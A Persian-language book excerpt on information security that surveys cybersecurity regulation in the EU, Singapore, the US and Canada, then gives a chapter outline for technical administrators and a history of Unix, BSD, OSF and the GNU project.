امروزه .  برخوردارند -ت محيطي   ضوابط ايمني، رقابت و تأثيرا    
اي امنيــت ســايبر را در فهرســت  قانونگــذاران بطــور فرآينــده

  .آورندمواردي كه بايد مورد توجه دولتها قرار بگيرند مي

اينترنـت از بعـضي     . آميـز هـستند   با اينحال مقررات مخـاطره    
قانون شناخته شده جهات بعنوان يك وسيلة ارتباطي تقريباً بي     

ي روند جهاني در اواخر دهة گذشـته در جهـت           بطور كل . است
رقابـت و نـوآوري،     . هاي ارتباطي بوده است     زدايي شبكه   قانون
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حامي توسعة خدمات و فناوريهاي جديـد هـستند، و منـابع را             
. دهنـد كاهش و دسترسي به فناوري ارتباطي را افـزايش مـي          

زمانيكه فناوري به سرعت درحال تغيير است، قـوانين دولتـي           
  .شوند حلهاي ابتكاري امنيتي مي  اجراي راهسد راه

شود كـه بهتـرين روش        درنتيجه اين سؤال اساسي مطرح مي     
براي ارتقاي سطح امنيت چيست؟ بطـور كلـي بعنـوان يـك             
اصل اساسي، دولت نبايد ضوابط فناوري را بـه گرداننـدگان و           

افراد زيادي  . زيرساختهاي حياتي بخش خصوصي تحميل كند     
تأثير   ستورالعملها و ضوابط مرتبط با فناوري بي      باور دارند كه د   

  .آور هستند و حتي گاهي زيان

در عوض يك رويكرد براي اينكار تحميل الزامات كلي حفـظ           
ايـن رويكـرد كـه از مفهـوم حفاظـت از حـريم              . امنيت است 

هـاي    خصوصي برخاسته بود، در تمـامي بخـشهايي كـه داده          
. بـاري شـد   كردنـد اج    آوري و پـردازش مـي       شخصي را جمـع   

. رويكرد ديگر تمركـز بـر بخـشهاي خـاص اقتـصادي اسـت             
بعنوان مثـال ايـالات متحـده در ضـوابطي كـه بـراي حـريم             
خصوصي در بخشهاي خدمات بهداشتي و خدمات مالي وضع         

هـاي شخـصي      كرده، الزاماتي نيز براي حفاظت از امنيت داده       
سنگاپور هم روي خدمات مالي تمركـز كـرده؛         . گنجانده است 

هـاي  مـشي  خط - نه از ديدگاه حفاظت از حريم خصوصي         اما
هـاي خـدمات    امنيت الكترونيكي سـنگاپور در خـصوص اداره       

اند و نه تهديـدات     مالي مستقيماً به نگرانيهاي امنيتي پرداخته     
همچنـين روشـهاي مختلفـي بـراي تبـديل          . حريم خصوصي 

. الزامات كلي امنيت به مراحل امنيتي گام به گـام وجـود دارد            
ك رويكرد براي قوانين امنيت الكترونيكي دولت، تأكيـد بـر           ي

رويكـرد ديگـر تهيـة      . باشـد   فرآيندها به جـاي فناوريهـا مـي       
تواننـد مكمـل يكـديگر        اين رويكردها مـي   . ها است مشي خط

  . باشند

اروپا اعمال قوانين امنيتي جديد را در تمـامي بخـشهايي كـه             
د آغاز كـرده  كنن آوري و پردازش مي اطلاعات شخصي را جمع  

هـاي اتحاديـة اروپـا         دستورالعمل حفاظت داده   ۱۷مادة  . است
كند كه براي حفاظـت     هاي شخصي را ملزم مي    دارندگان داده 

ها در برابر تخريب، تغيير، افـشاسازي يـا دسترسـي           از آن داده  
هـا ميـان      بويژه زماني كـه ايـن فرآينـد شـامل انتقـال داده            (غيرقانوني  

.  سازماني و فنون مناسب را بكـار گيرنـد         اقدامات) ها باشد   شبكه
چنين اقداماتي بايـد    "دارد     همچنين اظهار مي    اين دستورالعمل 

سطح مناسبي از امنيت را در برابر مخاطرات طبيعي پـردازش           

كانادا رويكرد مـشابهي را درپـيش گرفتـه         ". ها بكار گيرند    داده
مـصوبة حفاظـت از اطلاعـات       در اين كشور، بر اساس      . است
 شركتهاي بخـش خـصوصي      ٩٢ي و مدارك الكترونيكي   شخص

موظفند براي حفاظـت از اطلاعـات شخـصي تـدابير امنيتـي             
  .خاصي بيانديشند

تري را به چاپ رسانده اسـت      اتحادية اروپا دستورالعمل مفصل   
 قــوانين مربــوط بــه حفاظــت در صــنعت ارتباطــات   كــه بــه

 ايـن دسـتورالعمل مـشخص       ۴مـادة   . پـردازد   الكترونيكي مي 
بايد "كننده خدمات ارتباطات الكترونيكي       سازد كه يك ارائه     مي

اقداماتي را براي حفاظت از امنيت خدمات خـود و درصـورت            
با توجه بـه    (كنندگان ارتباطات عمومي شبكه       لزوم خدمات ارائه  

كننـدگان ارتباطـات      دوم اينكـه ارائـه    ." انجام دهد ) امنيت شبكه 
ر مورد هر نوع تهديـد  عمومي الكترونيكي، بايد به مشتركين د 

زمـاني كـه خطـر در خـارج از حيطـه            "امنيتي هشدار دهند و     
كنندگان خدمات اسـت هـر نـوع تغييـر از             قدرت و اختيار ارائه   

  ."هاي احتمالي را درنظر بگيرند جمله هزينه

شـوند؟ سـنگاپور در ايـن         چگونه اين الزامات كلي عملي مـي      
 ٩٣)MAS (اپورمقامات مالي سنگ  . مورد يك رويكرد خاص دارد    

يكسري پيشنهادات جامع امنيت الكترونيكي را در رهنمونهاي    
.  براي مؤسسات مالي اعلام كردند     ٩٤مديريت خطرات فناوري  

هـاي صـحيح در       اين رهنمونها بدنبال ارتقـا و بهبـود فرآينـد         
مديريت خطرات فناوري و كاربرد رويكردهاي امنيتي بود امـا          

درعوض همانطور كـه    . رعايت آن براي كسي اجباري نداشت     
 بنا دارند ايـن     مقامات مالي سنگاپور  : "ها ذكر شده  مشيدر خط 

ــاوري و    ــدات فن ــابي تهدي ــر ارزي ــارت ب ــا را در نظ رويكرده
هـر مؤسـسه    . معيارهاي امنيتـي مؤسـسات مـالي وارد كننـد         

 صـاحب   MASهـا از طـرف      مـشي درصورت اجراي اين خط   
سات مـالي بـه     اي خواهد شد، و به اين ترتيب مؤس       منافع ويژه 

ايـن  ." انـد  ها تـشويق شـده  مشيتلاش براي هماهنگي با خط 
ها بايد بعنوان استانداردي براي مؤسسات به حـساب         مشيخط
هاي امنيتي مؤسسات مالي      فهرست ذيل در مورد شيوه    . بيايند

  :شماردهايي را بر مي"بايد"

هـاي آتـش بايـد بـه          افـزاري و ديـواره      سيستمهاي نرم  •
امنيت مورد نياز مجهز شوند، و در جهت        بالاترين درجة   
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روزرساني و اقدامات پيشنهادي ديگر از طرف         تقويت، به 
 فروشندگان سيستم گام بردارند؛

تمامي رمزهاي عبور اوليه در سيـستمهاي جديـد بايـد            •
فوراً پس از نصب تغيير داده شوند؛ چراكه مهـاجمين در           

 حد وسيعي از آنها آگاهي دارند؛

هـاي داخلـي و    بايـد در ميـان شـبكه   هاي آتـش      ديواره •
خارجي و همچنـين در ميـان پايگاههـايي كـه از نظـر              

 جغرافيايي مجزا هستند نصب شوند؛ و

 .ويروس بايد نصب و اجرا گردند افزارهاي ضد نرم •

ايالات متحده روش متفاوتي را در پيش گرفته كه بر فرآيندها      
راين قـانون   بناب. هاي مبتني بر فناوري     تكيه دارد و نه بر شيوه     

؛ كـه بـا عنـوان       ۱۹۹۹مـصوب سـال      (٩٥سازي خدمات مـالي     مدرن
 Gramm - Leach - Bileyطرفـداران اصـلي آن در كنگـره، مـصوبة     

هر مؤسسه مـالي مـسئوليت      "دارد كه     اظهار مي ) شود  شناخته مي 
مداومي براي احترام به حريم خصوصي خريداران خود دارد و          

 شخـصي و غيرعمـومي      بايد از امنيت و محرمانگي اطلاعات     
بر مبناي اين قانون، گردانندگان     ." خريداران خود حفاظت كند   

مؤسسات مالي نيازمنـد تـصويب قـوانين مـديريتي و فنـي و              
همچنــين انجــام حفاظــت فيزيكــي بــراي امنيــت اطلاعــات 

نكته مهـم اينجاسـت كـه ايـن ضـوابط مـشخص             . باشند  مي
از است؛ لذا   اند كه چه اجزاي فني براي حفاظت مورد ني        نكرده

در اين مورد قانون تصميم در مورد اقدامات امنيتـي خـاص را           
  .به سازمان واگذار كرده است

بر مبنـاي ايـن قـانون دسـتورالعملهاي مـصوب سـازمانهاي             
قانونگـذار بــراي صــنايع خــدمات مـالي توســط بانكهــا اجــرا   

كند، بلكه    قانون، اقدامات فني مقتضي را تعيين نمي      . شوند مي
  :ه برنامة امنيتي بايد شامل موارد ذيل باشدگويد كمي

بيني كه منجر به      تهديدهاي داخلي و خارجيِ قابل پيش      •
افشاسازي غيرقانوني، سوء اسـتفاده، تغييـر و يـا انهـدام            
اطلاعات خريداران يا سيستمهاي اطلاعـاتي خريـداران        

 .است را مشخص سازد

 ـ          • ا احتمال و پتانسيل به فعليت نرسيدن اين تهديدها را ب
 . توجه به حساسيت اطلاعات خريداران ارزيابي نمايد
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ــات    • ــستمهاي اطلاع ــدها، سي ــتها، فرآين ــت سياس كفاي
 .خريداران و ساير اقدامات كنترل مخاطره را ارزيابي كند

هاي امنيت اطلاعات براي كنترل مخـاطرات  طراحـي            برنامه
ــا حــساسيت، پيچيــدگي، و حــوزة تأثيرگــذاري   شــده ــد و ب ان

بـراي اجـراي قـوانين بـه دسـتة          . سب هـستند  اطلاعات متنا 
وسيعي از تدابير امنيتي نياز است كه بايد بصورت صحيح بكار           

  :اين تدابير عبارتند از. گرفته شوند

كنترل دسترسي بـه سيـستمهاي اطلاعـات خريـداران           •
 ؛)تصديق هويت و مجوزهاي دسترسي(

 محدوديت دسترسي به مكانهاي فيزيكي؛ •
 ونيكي خريداران؛رمزگذاري اطلاعات الكتر •
 تغيير روالهاي مديريتي؛ •
سياست جداسازي وظايف (استفاده از روالهاي كنترل دوگانه  •

ــه اطلاعــات  ) و بررســي ســوابق ــراي كارمنــداني كــه ب ب
 خريدران، دسترسي دارند؛

 ؛٩٦سيستمهاي نظارت بر نفوذ •
 ؛ و٩٧هاي واكنش به نفوذبرنامه •
 بينـي تـدابيري بـراي حفاظـت در برابـر تخريـب،         پيش •

 .دستكاري، يا حذف اطلاعات خريداران

علاوه بر اين، بر مبناي اين قوانين كاركنان بايد براي اجـراي            
بررسي منظم ايـن كنترلهـا،      . هاي امنيتي آموزش ببينند   برنامه

سيستمها و روالها بايد با توجه به تغييرات فناوري، حـساسيت           
اطلاعات مشتريان، تهديدات اطلاعـاتي داخلـي و خـارجي، و           

ريـزي كـاري سـازمان مثـل ادغـام يـا اتحـاد بـا              تغيير برنامه 
سازماني ديگر، و يا انجام كار توسط افراد يا شركتهاي خـارج            

اين قوانين هيأت مديرة مؤسسات مالي     . از سازمان انجام گيرد   
هاي كتبي امنيـت سـازمان خـود را     كنند كه برنامه  را ملزم مي  

شـامل  ( پشتيباني طـرح     سازي و تأييد نمايند و بر طراحي، پياده     
. نظـارت كننـد   ) مسئوليت اجراي طرح و بررسي گزارشـهاي مـديريتي        

قوانين مشابه كميسيون تجارت ملي، مؤسـسات مـالي تحـت           
كند كه در آن مؤسسات       قلمرو خود را به تهية طرحي وادار مي       

  :بايد

 يك يا چند كارمند را براي تأمين امنيت انتخاب كنند؛ •
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 عمليـاتي شـركت مخـاطراتي    هاي در هر بخش از حوزه     •
كنـد مـشخص و       كه اطلاعات خريـداران را تهديـد مـي        

ارزيابي كنند و اثربخشي سيستم كنوني براي كنترل آن         
 مخاطرات را ارزيابي نمايند؛

يك برنامة حفاظتي را طراحي و اجرا كنند و آنـرا بطـور              •
 منظم مورد آزمايش و اصلاح قرار دهند؛

 انتخاب و با آنهـا بـراي        كنندگان مناسب خدمات را     ارائه •
 داد ببندند؛ و سازي سيستمهاي امنيتي قرارپياده

مثل تغيير سـاختار يـا عمليـات        (ها را در شرايط واقعي        برنامه •
ارزيـابي و اصـلاح كننـد و بـا توجـه بـه نتـايج                ) سازمان

 .آزمايش، فرآيند نظارت را نيز ارزيابي و اصلاح نمايند

بيمـة خـدمات درمـاني      قـانون مـسئوليت     رويكرد مشابهي در    
خـورد كـه مؤسـسات خـدمات           به چشم مـي    ٩٨ايالات متحده 

سـازي  كند كه معيارهاي امنيتي را پيـاده      بهداشتي را ملزم مي   
كنند تا مطمئن شوند اطلاعات بيمار كه بصورت الكترونيكـي          
ذخيره شده همـواره محرمانـه و دور از دسترسـي غيرقـانوني             

ت ملـزم بـه پـشتيباني       طبق اين قانون مؤسـسا    . ماندباقي مي 
مناسب و قابل قبول از امنيت راهبري، فيزيكي و فني هستند           

هاي پزشـكي اشـخاص در      تا يكپارچگي و محرمانگي پرونده    
شـده و دسترسـي غيرمجـاز       بيني  مقابل تهديدات امنيتي پيش   

هـا اعمـال      اين قانون براي ذخيـره و انتقـال داده        . حفظ شوند 
. سـازي اسـت    شرح پيـاده   ۴۱  استاندارد و  ۲۸شود و داراي      مي

دارد كه فرآيندها و روالهاي امنيتـي بايـد           اين قانون اظهار مي   
به قابليتهاي فني سيستمهاي ثبت، هزينـة اقـدامات امنيتـي،           

هاي ردگيـري در  نياز آموزشي كاركنان، و ارزش بررسي دنباله      
قـوانين امنيتـي،    . اي را درنظر داشـته باشـند        محيطهاي رايانه 

هستند را شناسـايي    " قابل توجه "و  " لازم"تي كه   عمليات حفاظ 
نكات اصلي قـوانين امنيتـي كـه بايـد مـورد توجـه              . كنند  مي

  :مؤسسات واقع شوند، عبارتند از

از محرمانگي، يكپارچگي و در دسترس بودن اطلاعاتي         •
كه توسط مؤسسه ايجاد، دريافت، نگهـداري يـا انتقـال           

 شوند حصول اطمينان كنيد؛  مي داده

يستم در مقابل تهديداتي كه امنيت يـا يكپـارچگي          از س  •
 اندازد محافظت كنيد؛  خطر مي اطلاعات را به
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از هر كـاربرد و افـشاي اطلاعـاتي كـه طبـق ضـابطه                •
 امنيتي قابل توجيه نيست جلوگيري نماييد؛ و

 .از هماهنگي نيروي كار با قوانين امنيتي اطمينان يابيد •

  :ستبا اينحال اين قانون قابل انعطاف ا

توانند از معيارهاي امنيتي استفاده     مؤسسات مشمول مي   •
كننــد تــا بطــور منطقــي و مناســب ايــن اســتانداردها را 

 سازي نمايند؛ پياده

گيري در مورد اينكه معيارهاي امنيتـي مـورد        در تصميم  •
 :استفاده چه باشند، بايد موارد زير را درنظر گرفت

o اندازه، پيچيدگي، و گسترة آن؛ 
o  افـزار، و قابليـت امنيتـي         ، سـخت  زيرساخت فني

 افزار؛ نرم
o هزينة استفاده از تدابير امنيتي؛ و 
o احتمال و حساسيت هريك از مخاطرات. 

كند كه بطور عمومي، ضعفها  رويكرد ديگر شركتها را ملزم مي    
و عيوب را بـراي ارتقـاي عملكـرد سيـستم و ارتقـاي سـطح           

كننـدگان    قـوانين اتحاديـة اروپـا ارائـه       . امنيت، منتشر سـازند   
كند كه مشتركان را از خطراتـي         خدمات مخابراتي را ملزم مي    

و (كنـد      آنها را تهديـد مـي       كه بواسطة تخلف امنيتي در شبكه     
بعنوان مثـال در جـولاي     . آگاه نمايند ) همچنين هزينة احتمالي آن   

 در ايالت كاليفرنيا قانوني تصويب شد كه طبق آن هـر            ۲۰۰۳
ان كاليفرنيـا را نگهـداري      شركتي كه اطلاعات شخصي ساكن    

كند، موظف به آگاه سـاختن آنـان از مخـاطرات احتمـالي               مي
حاصل از نقض امنيت و متعاقباً دسترسـي غيرقـانوني بـه آن             

  .باشد اطلاعات مي
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  فناوري اطلاعاتامنيت 
   راهبران فنيو

  مقدمه  . ۱فصل   
  امنيت براي راهبران  . ۲فصل   
  يكامنيت فيزي  . ۳فصل   
  امنيت اطلاعات  . ۴فصل   
  شناسايي و تصديق هويت  . ۵فصل   
  دهنده امنيت سرويس  . ۶فصل   
  هكامنيت شب  . ۷فصل   
  هاي مقابله با آا انواع حملات و روش  . ۸فصل   
   نفوذمديريتشف وك  . ۹فصل   
  ات ويژه بسترهاي مختلفكن . ۱۰فصل   
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  فصل اول
  مقدمه

  ۴ تا ۱خلاصه بخشهاي 
  :هكآوريم  به ياد مي.  آن بحث شد مفيد خواهد بودة دربار۴ تا ۱ايم، مروري بر آنچه در بخشهاي   رسيدهتابك ترينه به فنيكحال 

برخـي  و   IT مسائل امنيت    ةاين بخش گستر   .ردكصر ديجيتال ارائه    لي امنيت در ع   ك معرفي اجمالي از مسائل      كيتاب  ك ۱بخش  
 امنيتـي بـراي افـراد،       دانـش هـا و    ه چـرا خـط مـشي      كرد  كداد، و مشخص    شرح  ها را    هكها و شب   رايانهدر محيط   آميز   تخاصماعمال  

  .اربران ضروري استكمؤسسات اقتصادي، يا ساير 

دي را در بر    افرانليدي امنيت   ك اين بخش مسائل     .ه اشاره داشت  كاي و شب  ايانه منابع ر  ،اربران شخصي ك به نگرانيهاي عام     ۲بخش  
  .رسانندار روند، تهديد نفوذ امنيتي را به حداقل ميكه اگر درست بكهايي فني ارائه داد مشيگرفت و خط

هـاي  ه رسـانه  كي  ي فرصتها بادر اين فصل گفتيم     . داد جوانب راهبري و سياستگذاري امنيت را از ديدگاه سازماني پوشش            ۳بخش  
اي شورهاي درحـال توسـعه بـه طـرف نقطـه          ك ـدر  ) هاSME( و متوسط    كوچك، بنگاههاي اقتصادي    نمايندديجيتالي جديد ارائه مي   

هاي امنيتـي،   فرآينـد وجود سياستهاي مناسب و اجراي تأثيرگذار       . جهان تأثيرگذار شوند  فعلي   بازارهاي   ةه در توسع  كنند  كت مي كحر
ها و تـرميم  دست دادن اطلاعات بصورت تصادفي و عمدي را به حداقل خواهد رساند و ابزارهايي را براي شناسايي حمله                 از   ةمخاطر

هويـت  تـصديق   عناصري چون سياسـتهاي  ،هاSME سياستهاي امنيتي در حوزه    لازم است  همچنين   .ندكامنيتي فراهم مي  نقايص  
ايـن بخـش    . در بر بگيرد  نيز  ي را   كترونيكي و دولت ال   كترونيكي، معاملات ال  كنيتروكمحيطهاي تعاملي از قبيل تجارت ال     در  اربران  ك

  .رد و گسترش دادك مكحا محيطهاي سازماني ةم را در حوزكمقررات امنيتي مستحتوان ميه چگونه كاين مبني برداشت ي تپيشنهادا

 شود و به كدر سطح دولت دراين مسائل بايد ه ك ندكو بيان مييد دارد؛  كتأارهاي قانونگذاري   ك روي مسائل امنيتي و ابت     ۴بخش  
ملـي  زيرسـاختهاي   از  سـازي و حفاظـت      هاي اطلاعاتي خود، موظف است براي ايمن       سازي سرمايه   دولت علاوه بر ايمن    .اجرا درآيد 
ها چه تـأثيري    ه رشد زيرساخت اطلاعات روي نظام حقوقي آن       كنند  كبيني   دولتها همچنين بايد پيش    .ندكسياستگذاري  نيز  اطلاعات  

حـال توسـعه بـا آن مواجـه هـستند را            اران و رهبـران در دنيـاي در       ذياسـتگ ه س كليدي  كبخش برخي از سؤالات     اين  . خواهد داشت 
ه درگيـر   ك ـساني  ك ـتوانـد بعنـوان راهنمـا بـراي         ه مـي  كنمايد  ميهايي از سياستهاي جامعه جهاني را ارائه         ند و نمونه  ك مشخص مي 

  .ار آيدكهستند ب ١مجازيفضاي  براي تلاشهاي جديد قانونگذاري

   فنيةاتي در مورد پيشينك همراه نپنجم بخش ةخلاص
 ايـن بخـش اطلاعـاتي مـشروح     .ه براي انجام مؤثر وظايفشان تهيه شده اسـت       ك به راهبران سيستم و شب     كمك با هدف    ۵بخش  

  :ند، از جملهكي و پيگيري شوند ارائه مكه لازم است در سطح فني بالا درك مسائل امنيتي ةدربار

 .روندار ميكها به براي نفوذ به سيستمها و برنامهك، شامل روشهاي حمله يبندي تهديدهاي امنيتدسته •

                                                                                                                                            
1  Cyber Space 
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ان ك ـصـورت ام  براي حمله بتوانند شناسايي و در      شدهانجامفعاليتهاي  ه  كاي  ه بگونه ك سيستمهاي حساس و شب    كنترل ترافي ك •
 .دفع شوند

 و سـاير  ٢ثبتهـا هستند و تحليـل نتـايج   توليد شدن حال  ها در فرآينده سياستها و    كدر زماني نيتي  ارزشگذاري نتايج ارزيابيهاي ام    •
 .سازي آن معيارهاي امنيتي جاري بعد از پيادهكمدار

  . نفوذ، و يادگيري از تجربيات گذشتهك حمله، ترميم يكيمقابله با  •

ند خواننده از سطح معيني از اطلاعات فني برخـوردار          كميه فرض   ك از آن جهت تفاوت دارد       كتاب با چهار بخش ديگر اين       ۵بخش  
اند، با اينحال ايـن بخـش بـراي    ان داشته مثالهائي ارائه شدهكه ام كاند و هرجا    داده شده شرح  ه مفاهيم به وضوح     كعليرغم اين . است

بـه خواننـدگان    ). منـد بـه آن هـستند      قـه يا حداقل بـسيار علا    (ار با سيستم و راهبري آن دارند        كافي  ك ةه تجرب كطراحي شده است    افرادي  
  .ه اشاره دارد استفاده نمايندك نگهداري رايانه و شبةه به مآخذ ارزشمند فراواني در زمينكتاب كشود از ضمائم توصيه ميمند علاقه

 ـ     ۵ عملياتي رايانه مربوط هستند، بخش       هايل امنيتي معمولاً به محيط    ئه مسا كنظر به اين   ل ئه مـسا  ك ـود   شامل قسمتهايي خواهـد ب
تا  ۵ بخش   ة گرچه قسمت عمد   .دهده امروزه مورد استفاده هستند را مورد بحث قرار مي         كعاملهاي عمده    سيستم ةشدامنيتي شناخته 

، Microsoft Windows ،Unixهاي عاملسيستمنيز به هايي ارجاعاما گاهي ان داشته غير وابسته به سيستمها است، كه امكجايي 
Linux ،Mac OS X،هاي  و ساير گونهUnixه ك ـهـاي روشـني دربـاره اقـداماتي      موارد توصيهةدر هم.  داده شده است٣ روميزي

  .آمدن منابع سيستمي انجام داد وجود داردتسخير درتوان و بايد براي جلوگيري از به مي

Unix  
 .شـوند   و توسط فروشندگان متفاوتي توزيـع مـي  )املاً با هم متفاوتنـد كه گاه ك( متنوعي وجود دارند Unix و شبه Unixعاملهاي  سيستم

  . مرور مختصر تاريخي استك و تأثيرات آن مستلزم يمسئلهدليل اين 

طرحهـاي تحقيقـاتي   سـازمان  ه بوسـيله  ك ـايـن پـروژه   . ۱۹۶۰ در اواسط سـالهاي      Multicsگردد به طرح     باز مي  Unixهاي  ريشه
ل كپارچه متشك سيستم يكه يكگذاري شد براي آن طراحي شده بود    رمايهس) ARPA يا   DARPA(پيشرفته وزارت دفاع ايالت متحده      

 براسـاس ايـن طراحـي، بخـشي از رايانـه         .ه حاوي پردازشگرها، حافظه، و تجهيزات ارتباطي با سرعت بالا بودند          كهايي باشد   كاز بان 
سادگي ميسر  ه   ب قابليتاين  امروز   گرچه   . شود اربران تأثير بگذارد، براي تعميرات خاموش     كه روي ديگر قسمتها يا      كنآتواند بدون    مي

ه هـم در برابـر      ك ـاي طراحـي شـد       بگونـه  Multics .رد چنين قابليتي وجود نداشت    كار  ك شروع به    Multicsه  كاست، اما هنگامي    
نيـت  ام بـا هـدف پـشتيباني مفهـوم          Multics .نـد كديگر حفاظت   كاربران داخلي سيستم را از ي     كحملات بيروني مقاوم باشد و هم       

اي بسياري از سيـستمهاي رايانـه  هم ه هنوز كرد  ك بالاخره سطحي از امنيت و خدمات را فراهم          Multics.  طراحي شد  ٤سطحيچند
  .اندبه آن نرسيده

 .هـا اجـراي برنامـه   : ار را خوب انجـام دهـد      ك كرد ي ك تلاش مي  Unixارهاي زيادي انجام دهد،     ك سعي داشت    Multicsه  كدرحالي
دام ك ـه هرك ـرد كار ميك ٥ابزارهاشده موسوم به سازيهاي فشرده اين سيستم براساس برنامه .ي از اين هدف نبود     بخش "امنيت قوي "

 ابزارهـا و  ۱۹۷۰ ة در خـلال سـالهاي ده ـ  ٦)AT&T (اك ـتلفـن و تلگـراف آمري   ت  ك شـر  .دادنـد عمليات منحصر به فردي را انجام مي      
آنـرا  به تـازگي     ٨ريچيه  ك Cنويسي   را به زبان برنامه    Unixهاي  بيشتر برنامه  ٧تامسون ۱۹۷۳ در سال    .ردكويژگيهائي به آن اضافه     

هـاي   برنامـه  .پـذير باشـد    زبان برنامه نويسي ساده و جابجايي      كه ي ك طوري طراحي شده بود      C زبان   .ردكبود بازنويسي   ردهكابداع  
ار در زبانهـاي    ك ـه اين ك ـ منتقـل شـوند، همـانطور         نـوع رايانـه بـه نـوع ديگـر          كتوانستند به سادگي از ي     مي Cنوشته شده به زبان     

                                                                                                                                            
2  Logs 
3  Desktop Unix 
4  Multilevel Security 
5  Tools 
6  American Telephone & Telegraph 
7  Thompson 
8  Ritchie 
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ه مستقيماً به زبان بـومي  كهايي ها تقريباً با سرعت برنامه حال اين برنامه  با اين . پذير بود  انجام Fortranنويسي سطح بالا مثل      برنامه
اداره عبارت   ۱۲۵ردند؛  كستفاده مي عامل ا  سيستم ة از برنام  اداره ۵۰۰ بيش از    ۱۹۷۷ تا سال    .شدندشوند اجرا مي  دگذاري مي كماشين  

  .شور خارجي ديگرك ۱۰دانشگاههاي ايالات متحده و بيش از بودند از 

اي از مجموعـه  - ٩)BSD (لـي كافـزار بر نـرم گـسترش  ه ك ـلي، كاليفرنيا در بركدانشگاه توسعه در نقاط مختلفي ادامه يافت؛ از جمله   
گـذاري شـد،    روي آن سرمايه ARPAه توسط   كفعاليتي   سال بعدي، در     ۶در  . ردك را منتشر    - Unixها و تغييرات در سيستم       برنامه

باعث اصلاحات چـشمگيري در  رد و كرشد عامل مستقل  سيستمكهاي يشد تا حد و اندازه ناميده ميBSD Unixآنچه تا آنزمان 
 هـاي محلـي  هكشب را به Unixهاي انهه اتصال رايكه بود، ك شب ةلي در زمين  ك شايد مهمترين اصلاحات بر    . شد AT&Tعامل   سيستم

)LANبه همه اين دلايل، .ردك آسان مي١٠)ها Unix  ردك تحقيقاتي و علمي رواج بسيار پيدا لي در جوامعِكبرنسخة.  

هـاي  هاي ميـان نـسخه    ازگاريرد، ناس ـ ك ـاربردهاي فني بـه بازارهـاي تجـاري راه پيـدا            ك از   Unixه  ك زماني ۱۹۸۰در اواخر سالهاي    
 ن مشتريا. فروشندگان نمودةلات براي همك شروع به ايجاد مشBSD Unixعامل مبتني بر  و سيستمAT&T Unix عامل سيستم

جابجـايي  قابليـت   اهش دهنـد و     ك ـهاي آمـوزش را     ه بتوانند هزينه  ك بودند، به اين اميد      Unix نسخه استاندارد    كتجاري خواهان ي  
اربردي ك ـافزارهـاي  همچنـين بـازار نوظهـور نـرم    . نندكهاي مختلف را تضمين ده فروشنةشده بوسيلهاي ساختهافزار ميان رايانه   نرم

Unix و  نـد كتـر مـي    بسترهاي چندگانه را براي آنها ساده      ار پشتيبانيِ كه اين ك داشتند   طلبيد، چون فروشندگان باور    استاندارد مي  ك ي 
  .نمايدهاي شخصي رقابت ميهمچنين با بازار رو به رشد مبتني بر رايانه

، IBM، ١٣)HP( اردكهيولت پا، ١٢ت تجهيزات ديجيتاليكشر، ١١رايانه آپولو - Unixت پيشرو در صنعت     ك شر هفت،  ۱۹۸۸در ماه مي    
 Unix بيـرون آوردن     OSF هدف   .ردندك را اعلام    ١٤)OSF ( باز افزار  نرمبنياد  يل  ك تش -امپيوتر  كي سازنده   يت اصلي اروپا  كو سه شر  

 در آينـده و در دسـترس        Unix ةه با هدايت توسع   ك ائتلاف غيرانتفاعي صنعتي بود،      كدستان ي  و قراردادن آن در      AT&Tنترل  كاز  
 ـ     OSF .شـد مـي رهبـري    -  واحـد  ة گواهينام ك تحت ي  -قرار دادن آن براي عموم        خـود را براسـاس      Unix ة تـصميم گرفـت پاي

 HPها و تسهيلات    تابخانهكاي از   ه آميزه ك،  ١٦ارني ملون ك از دانشگاه    ١٥ماخ Unix ةقرار دهد، پس به سمت هست      IBMسازي   پياده
مورد پذيرش و استقبال گسترده واقـع نـشد،   فعاليتها  اين  ةه نتيج ك عليرغم اين  .ردكت  كت تجهيزات ديجيتالي بود حر    كو شر  IBMو  

OSFاي ادامه داد به فعاليتهاي بيشتر توسعه.  

 GNU  
ه بـراي بـه اسـتفاده       ك ـتهايي  كش مصنوعي دانشگاه وقتـي ديـد شـر         در آزمايشگاه هو   LISPنويس پروژه    برنامه ١٧ريچارد استالمن 

اسـتالمن  . افزار بود بسيار ناراحـت شـد      گذاري رايگان نرم  كه مانع به اشترا   كبودند قوانيني را پذيرفتند     رساندن تحقيقات تأسيس شده   
افـزار  ار را بـر سـخت  ك ـتواند اسـاس اين  نمي بگذارد،كافزار خود را ميان گروه بزرگي از مردم به اشترا         ه اگر بخواهد نرم   كمتوجه شد   

 لـذا بـه     .نـد كگـذاري   ردند پايه ك را اجرا مي   LIPSهاي سازنده ساخته شده بودند و تنها        ارخانهكمي از   كه تنها توسط تعداد     كخاصي  
قبلـي و نيـز   م سيسته مشابه كعامل قدرتمند    سيستم ك، ي Unixي جديدي را براساس     افزار  نرمانجمن  ار او تصميم گرفت     كجاي اين 
 از نظـر اسـتالمن      ١٨!" نيـست  GNU Unix" مخفف بازگشتي از عبارت      ك ناميد؛ ي  GNUاو طرح خود را     . ندكريزي  دار بود پايه   آينده

ه متن برنامـه را  كاختيار داشت   ه او   كآزاد بودن به اين مفهوم بود       . بودهم   معيار آزادي    كه ي كنبود، بل هزينه  رايگان بودن تنها معيار     

                                                                                                                                            
9  Berkeley Software Distribution 
10  Local Area Networks 
11  Apollo Computer 
12  Digital Equipment Corporation 
13  Hewlett Packard 
14  Open Software Foundation 
15  Mach 
16  Carnegie Mellon University 
17  Richard Stallman 
18  GNU's Not Unix 
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.  بگـذارد  كهايي از برنامه را ميان دوستانش به اشترا       ه بتواند نسخه  كند و در آن اعمال تغييرات نمايد و همچنين آزاد باشد            كي  بازبين
 اولـين محـصول     ۱۹۸۵تا سـال    . ليكآزادي مشروبات ال  در  بيان مطرح است، نه     آزادي  ه در   كخواست  را آنگونه مي   افزار  نرمآزادي  او  

توانست توسط افراد ديگـري غيـر از اسـتالمن هـم بـه              ه مي كاي از رشد رسيد      به نقطه  - Emacs  ويرايشگر متن  - GNU ةعمد
 ةگواهينامها تحت هردوي اين برنامه. GNU Cرد؛ ك را شروع Cامپايلر آزاد ك كيار روي كبعد از آن استالمن . راحتي استفاده شود

متن برنامه و اعمال تغييرات شخصي را       انتشار  دهندگان حق   توسعهاين گواهينامه، به    .  استالمن توزيع شدند   ١٩)GNU) GPLعمومي  
 همـان سـال اسـتالمن       . تحت محدوديتهاي همان گواهينامه قبلي منتشر شـوند        ، تغييرات آتي در برنامه    ةه هم كداد، مشروط بر آن   مي

ه ك ـنويـساني   رد و براي استخدام برنامه    كآوري مي ه هداياي مردمي را جمع    كرد؛ بنيادي غيرانتفاعي    ك را تأسيس    ٢٠ آزاد افزار  نرمبنياد  
